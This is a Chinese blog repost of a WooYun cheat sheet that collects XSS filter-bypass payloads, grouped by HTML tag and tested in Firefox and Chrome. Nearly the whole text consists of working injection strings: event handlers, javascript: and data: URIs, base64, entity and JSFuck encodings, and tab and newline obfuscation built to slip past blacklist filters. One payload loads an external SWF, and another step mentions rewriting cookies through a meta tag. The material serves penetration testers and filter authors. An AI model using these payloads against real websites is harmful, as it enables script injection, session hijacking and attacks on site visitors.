• 那些年我们没能bypass的xss filter[from wooyun]


    这么久没发文章,因为很忙。。为了防止站点被老顾客嫌弃,转载一篇来自乌云的文章吧:《那些年我们没能bypass的xss filter》

    原文链接:https://www.leavesongs.com/PENETRATION/xss-collect.html

    小弟初学xss才10天。不过个人很喜欢收集xss payload.在这里把自己平时挖xss时会用到的payloads列出来和大家一起分享。很希望大家能把自己的一些payload也分享出来。(由于我是linux党,所以本文出现在的所有payload只在firefox和chrome之下进行过测试。IE不在本文的讨论范围之内。本文只以直接输出在HTML的情况为中心进行探讨。)有错误的地方还请大家不吝赐教。 

    在XSS的世界里,有很多标签,事件,属性都是可以拿来执行js的。但是又都有哪一些呢? 

    可以执行js的标签: 

    <script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
    

    所有的event都是可以执行js: 

    onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
    

    可以执行js的属性: 

    formaction action href xlink:href autofocus src content data
    

    我们为什么要去理解这些呢?因为很多网站的filter都是基于黑名单的,而因为自身对可以执行js的标签,事件和属性的不了解,会导致你绕不过这个filter或者饶一个很大的弯子(当然也会有很多放弃的例子)。也许你正在尝试跳出的双引号是不需要跳出去的。也许你正在尝试跳出去的标签也是不需要跳出去的。因为你已经站在了可以插入js的地方却浑然不知。这也是写本文最主要的原因。下面我将以问答的方式,对各个payload进行简单的介绍。 

    我们真的需要一个合法的标签么? 

    <M/onclick="alert(1)">M
    

    当目标站对关键tag做了黑名单过滤的时候,你也许可以尝试一下自定义标签。 

    标签和属性之间只能出现空格么? 

    <img/src=x onerror=alert(1)>
    

    在有些情况下我们可以使用"/"来代替空格 

    二十个字符真的是最短的? 

    <b/ondrag=alert()>M  //其实19个字符是可以有的。请在IE下测试(wineIE8测试通过)
    

    你真的了解【a标签】么? 
    你也许会告诉我,谁不知道啊!不就href里面搞个javascript伪协议然后调用js不就完了。如果你真得这么认为的话,那么我觉得你已经完了。在href当中我们不仅仅可以使用javascript我们还可以使用data URI来调用我们的js代码,像这样: 
    <a href=javascript:alert(2)>M 
    <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
    可以看到第一个例子就是我们最常见的方法,通过javascript伪造协议来调用js了。而在第二个例子当中我们可以看到我们不但通过data协议来执行了javascript还对我们的payload进行了base64编码。我们可以解码看一下PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==究竟是什么。解码之后我们可以看到是<script>alert(3)</script>。聪明的人又会说了还整base64老子直接写也能弹。如果目标站点对<script>进行了过滤,那么也许你的payload就会死在半路上了。当然编码方式还有很多比如urlencode,hex,demical和HTML实体编码 
    <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M 
    <a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M
    当你在测试payload的时候你应该多细心善于了解filter真正的在过滤什么。也许它只是把":"添加到了黑名单当中,来防止你来通过伪造协议执行js,而你却认为整个javascript或data都被过滤了。在这种情况下你就可以考虑通过html实体编码来bypass了. 
    <a href=javascript&colon;confirm(2)>M
    其实a标签拥有的不止是href.在一些猥琐的组合之下,我们可以用这种组合来让xlink:href执行js. 
    <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 
    <math><a xlink:href=javascript:alert(1)>M
    【script标签】之弹窗姿势知多少 
    很多时候我们都会用<script>alert(1)</script>来测试XSS脆弱性。但是太过于规范的姿势往往会死在半路上(因为有filter的嘛)。所以我们需要更多的姿势,来判断真正的过滤规则到底是什么。相信我,程序员的安全水平都是参差不起的,过滤alert()的程序员我也碰到过。(此处省略3W字的吐槽) 
    <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> //想玩这个,可以在这里转换你的编码 http://www.jsfuck.com/ 
    <script firefox>alert(1)</script>  //其实我们并不需要一个规范的script标签 
    <script>~'u0061' ;  u0074u0068u0072u006Fu0077 ~ u0074u0068u0069u0073.  u0061u006Cu0065u0072u0074(~'u0061')</script> // 
    <script/src=data&colon;text/ju0061vu0061&#115&#99&#114&#105&#112&#116,u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码 
    <script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗 
    <script>alert(/3/)</script> //可以用"/"来代替单引号和双引号 
    <script>alert(String.fromCharCode(49))</script> //我们还可以用char 
    <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行 
    <script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
    【button标签】 
    应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子. 
    <button/onclick=alert(1) >M</button>
    那么如果所有的on(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势 
    <form><button formaction=javascript&colon;alert(1)>M
    也许看到这里就有人会吐槽,这种需要用户交互的啊 bla,bla,bla..(几个小时过去了)如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。 
    <button onfocus=alert(1) autofocus>
    【p标签】 
    如果你发现变量输出在了p标签里,先不要急着从标签跳出去,因为只要你能跳出""就已经足够了。 
    <p/onmouseover=javascript:alert(1); >M</p>
    【img标签】 
    img标签没有什么好讲的了。不过值得注意的是,有些姿势是因浏览器不通而不能成功的执行的。所以在空闲时间对payload进行分类,做上可执行浏览器的注释来提高你挖掘XSS的效率。 
    <img src=x onerror=alert(1)> 
    <img src ?itworksonchrome?/onerror = alert(1)>  //只在chrome下有效 
    <img src=x onerror=window.open('http://google.com');> 
    <img/src/onerror=alert(1)>  //只在chrome下有效 
    <img src="x:kcf" onerror="alert(1)">
    【body标签】 
    没有什么特别之处,都是通过event来调用js 
    <body onload=alert(1)> 
    <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 
    【var标签】 
    <var onmouseover="prompt(1)">KCF</var>
    【div标签】 
    <div/onmouseover='alert(1)'>X 
    <div style="position:absolute;top:0;left:0;100%;height:100%" onclick="alert(52)">
    【iframe标签】 
    iframe这个例子当中值得一提的是,有时候我们可以通过实体编码&NewLine;&Tab(换行和tab字符)来bypass一些filter。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“
    "允许从外部调用swf时,我们才可以通过flash来实现xss attack. 
    <iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>   
    <iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 
    <iframe SRC="http://0x.lv/xss.swf"></iframe> 
    <IFRAME SRC="javascript:alert(1);"></IFRAME> 
    <iframe/onload=alert(53)></iframe>
    【meta标签】 
    很多时候,在做xss测试时,你会发现你的昵称,文章标题跑到俄meta标签里。那么你只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效的xss payload了。当然一些猥琐流的玩法,会通过给http-equiv设置set-cookie来,进一步重新设置cookie来干一些猥琐的事情 
    <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? 
    <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
    【object标签】 
    和a标签的href属性玩法是一样的,不过优点是无须交互。 
    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
    【marquee标签】 
    <marquee  onstart="alert('sometext')"></marquee>
    【isindex标签】 
    第二个例子,值得我们注意一的是在一些只针对属性做了过滤的webapp当中,action很可能就是漏网之鱼。 
    <isindex type=image src=1 onerror=alert(1)> 
    <isindex action=javascript:alert(1) type=image>
    【input标签】 
    没有什么特别之处,通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可弹窗的效果。在这里使用到了onblur是希望大家学会举一反三。 
    <input onfocus=javascript:alert(1) autofocus> 
    <input onblur=javascript:alert(1) autofocus><input autofocus>
    【select标签】 
    <select onfocus=javascript:alert(1) autofocus>
    【textarea标签】 
    <textarea onfocus=javascript:alert(1) autofocus>
    【keygen标签】 
    <keygen onfocus=javascript:alert(1) autofocus>
    【frameset标签】 
    <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 
    <frameset onload=alert(1)>
    【embed标签】 
    <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
    <embed src=javascript:alert(1)> //firefox
    【svg标签】 
    <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 
    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效
    【math标签】 
    <math href="javascript:javascript:alert(1)">CLICKME</math> 
    <math><y/xlink:href=javascript:alert(51)>test1 
    <math> <maction actiontype="statusline#http://wangnima.com
    xlink:href="javascript:alert(49)">CLICKME</maction> </math>
    【video标签】 
    <video><source onerror="alert(1)"> 
    <video src=x onerror=alert(48)>
    【audio标签】 
    <audio src=x onerror=alert(47)>
    姿势的介绍就在这里结束了。 
    说句题外话 在这些标签里面凡是出现在on*事件值里面的javascript:都是多余的。但是这个对测试者来说是很方便的。因为你可以通过一个payload来测试好几个黑名单成员

  • 相关阅读:
    pip 安装
    「csp模拟」模拟测试15
    某些博客的优化
    晚间测试6
    「csp模拟」模拟测试15
    「csp模拟」模拟测试14
    线段树维护单调栈
    晚间测试 2
    晚间测试 1
    晚间测试4
  • 原文地址:https://www.cnblogs.com/nul1/p/11087306.html
Copyright © 2020-2023  润新知